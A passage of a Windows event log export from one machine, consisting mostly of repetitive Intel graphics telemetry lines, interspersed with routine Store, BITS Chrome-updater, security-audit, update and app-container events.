(1732)\"\tInformation\tMicrosoft-Windows-Store/Operational\tWindows-ApplicationModel-Store-SDK\n05.09.2026 08:30:12.924\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:13.065\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:13.209\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:13.350\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:13.367\t5382\t\"Vault credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\nThis event occurs when a user reads a stored vault credential.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:30:13.369\t5382\t\"Vault credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\nThis event occurs when a user reads a stored vault credential.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:30:13.375\t2000\t\"Process Name: C:\\WINDOWS\\system32\\backgroundTaskHost.exe\nModule Name: C:\\Windows\\System32\\InstallService.dll\nBuild: 26100.1.amd64fre.ge_release.240331-1435, UBR: 9168\n\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:30:13.375\t2006\t\"Setting MSA Client Id for Token requests: {f0c62012-2cef-4831-b1f7-930682874c86}\nError: Unspecified error\nFunction: \nSource: onecoreuap\\enduser\\winstore\\auth\\lib\\winstoreauth.cpp (206)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:30:13.448\t2005\t\"oneSettingsconcurrentDefaultInstalls = 3, oneSettingsconcurrentMinInstalls = 3\nError: Unknown HResult Error code: 0xefffffff\nFunction: GetConcurrentInstallsFromOneSettings\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (763)\"\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:30:13.459\t2006\t\"request: Microsoft.WindowsStore CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US\nError: Unknown HResult Error code: 0xefffffff\nFunction: Windows::ApplicationModel::Store::Preview::InstallControl::AppInstallManagerImpl::IsStoreBlockedByPolicyAsync\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\appinstallcontrol.cpp (1995)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:30:13.460\t2006\t\"result: Microsoft.WindowsStore, CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US, blocked = false\nError: The operation completed successfully.\nFunction: Windows::ApplicationModel::Store::Preview::InstallControl::AppInstallManagerImpl::IsStoreBlockedByPolicyAsync::::operator ()\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\appinstallcontrol.cpp (2026)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:30:13.490\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:13.641\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:13.781\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:13.927\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:14.069\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:14.217\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:14.359\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:14.502\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:14.649\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:14.794\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:14.936\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:15.079\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:15.228\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:15.481\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:15.624\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:15.769\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:15.912\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:16.053\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:16.197\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:16.346\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:16.593\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:16.740\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:16.914\t3\t\"The BITS service created a new job.\nTransfer job: Chrome Component Updater\nJob ID: {df57cb3c-61e4-42c9-af52-ac0b58945dbd}\nOwner: HONOR-FRG-X\\admin\nProcess Path: C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe\nProcess ID: 14724\"\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 08:30:16.918\t16403\t\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 08:30:16.990\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:17.135\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:17.203\t59\tBITS started the Chrome Component Updater transfer job that is associated with the http://edgedl.me.gvt1.com/edgedl/diffgen-puffin/efniojlnjndmcbiieegkicadnoecjjef/ae6b89eb3be749b5186b193ff53cabf3cbe70afebade5d567ce2cc60993edde1 URL.\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 08:30:17.257\t113\tAttempted to add URL (http://*:2869/upnp/eventing/) to URL group (0xFE00000820000001). Status: 0x0. Process Id 0x3DA0 Executable path \\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe, User S-1-5-19\tInformation\tSystem\tMicrosoft-Windows-HttpService\n05.09.2026 08:30:17.291\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:17.404\t114\tRemoved URL (http://*:2869/upnp/eventing/) from URL group (0xFE00000820000001). Process Id 0x3DA0 Executable path \\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe, User S-1-5-19\tInformation\tSystem\tMicrosoft-Windows-HttpService\n05.09.2026 08:30:17.432\t113\tAttempted to add URL (http://*:2869/upnp/eventing/) to URL group (0xFE00000720000001). Status: 0x0. Process Id 0x3DA0 Executable path \\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe, User S-1-5-19\tInformation\tSystem\tMicrosoft-Windows-HttpService\n05.09.2026 08:30:17.436\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:17.576\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:17.721\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:17.840\t26\tWindows Update successfully found 0 updates.\tInformation\tMicrosoft-Windows-WindowsUpdateClient/Operational\tMicrosoft-Windows-WindowsUpdateClient\n05.09.2026 08:30:17.860\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:18.012\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:18.264\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:18.433\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:18.575\t1258\tWNP Transport Layer for Data Connection received asynchronous connection error 10060.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:30:18.575\t1207\tWNP Transport Layer resolving DNS initiated for host client.wns.windows.com for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:30:18.578\t1208\tWNP Transport Layer resolving DNS completed for the Data Connection with code The operation completed successfully..\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:30:18.578\t1211\tWNP Transport Layer initial server connection initiated to server client.wns.windows.com on port 443 for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:30:18.580\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:18.726\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:18.872\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:19.014\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:19.161\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:19.302\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:19.449\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:19.614\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:19.782\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:19.951\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:20.116\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:20.341\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:20.507\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:20.768\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:20.948\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:21.208\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:21.367\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:21.539\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:21.766\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:21.943\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:22.125\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:22.421\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:22.620\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:22.927\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:23.109\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:23.269\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:23.434\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:23.541\t8001\t\"Skipping license manager: PFN SAMSUNGELECTRONICSCoLtd.SamsungQuickShare_2.3.22.0_x64__wyx1vj98g3asy\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:23.543\t219\tPSMFlags for Desktop AppX process %1 with applicationID %2 is %3.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:30:23.609\t211\tAdded process 10436 to Desktop AppX container 245cdb95-a8c9-11f1-b7ff-289200f24a99 for package SAMSUNGELECTRONICSCoLtd.SamsungQuickShare_2.3.22.0_x64__wyx1vj98g3asy.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:30:23.611\t201\tCreated process 10436 for application SAMSUNGELECTRONICSCoLtd.SamsungQuickShare_wyx1vj98g3asy!App in package SAMSUNGELECTRONICSCoLtd.SamsungQuickShare_2.3.22.0_x64__wyx1vj98g3asy. [FinishPackageActivation]\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:30:23.698\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:23.849\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:24.032\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:24.182\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:24.340\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:24.532\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:24.702\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:24.976\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:25.149\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:25.285\t217\tDestroyed Desktop AppX container {245CDB95-A8C9-11F1-B7FF-289200F24A99} for package SAMSUNGELECTRONICSCoLtd.SamsungQuickShare_2.3.22.0_x64__wyx1vj98g3asy.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:30:25.285\t8001\t\"Invoking license manager because license/lease polling time up: PFN SAMSUNGELECTRONICSCoLtd.SamsungQuickShare_2.3.22.0_x64__wyx1vj98g3asy\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (361)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:25.286\t8001\t\"ServicePackageRundownNotificationImpl PsmKey:SAMSUNGELECTRONICSCoLtd.SamsungQuickShare_2.3.22.0_x64__wyx1vj98g3asy+App, sid:S-1-5-21-3712849175-2219398513-4278588552-1006\nFunction: ServicePackageRundownNotificationImpl\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\service.cpp (2587)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:25.286\t8011\t0x21f83176b80: 13668: 9CD2C66B-D3F2-3342-77A1-FDE6E819AC29: Dispatch: Key:Unregistered => Key:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:25.286\t8001\t\"Lease dropped\nFunction: KeyMachine::DoDropLease\nSource: 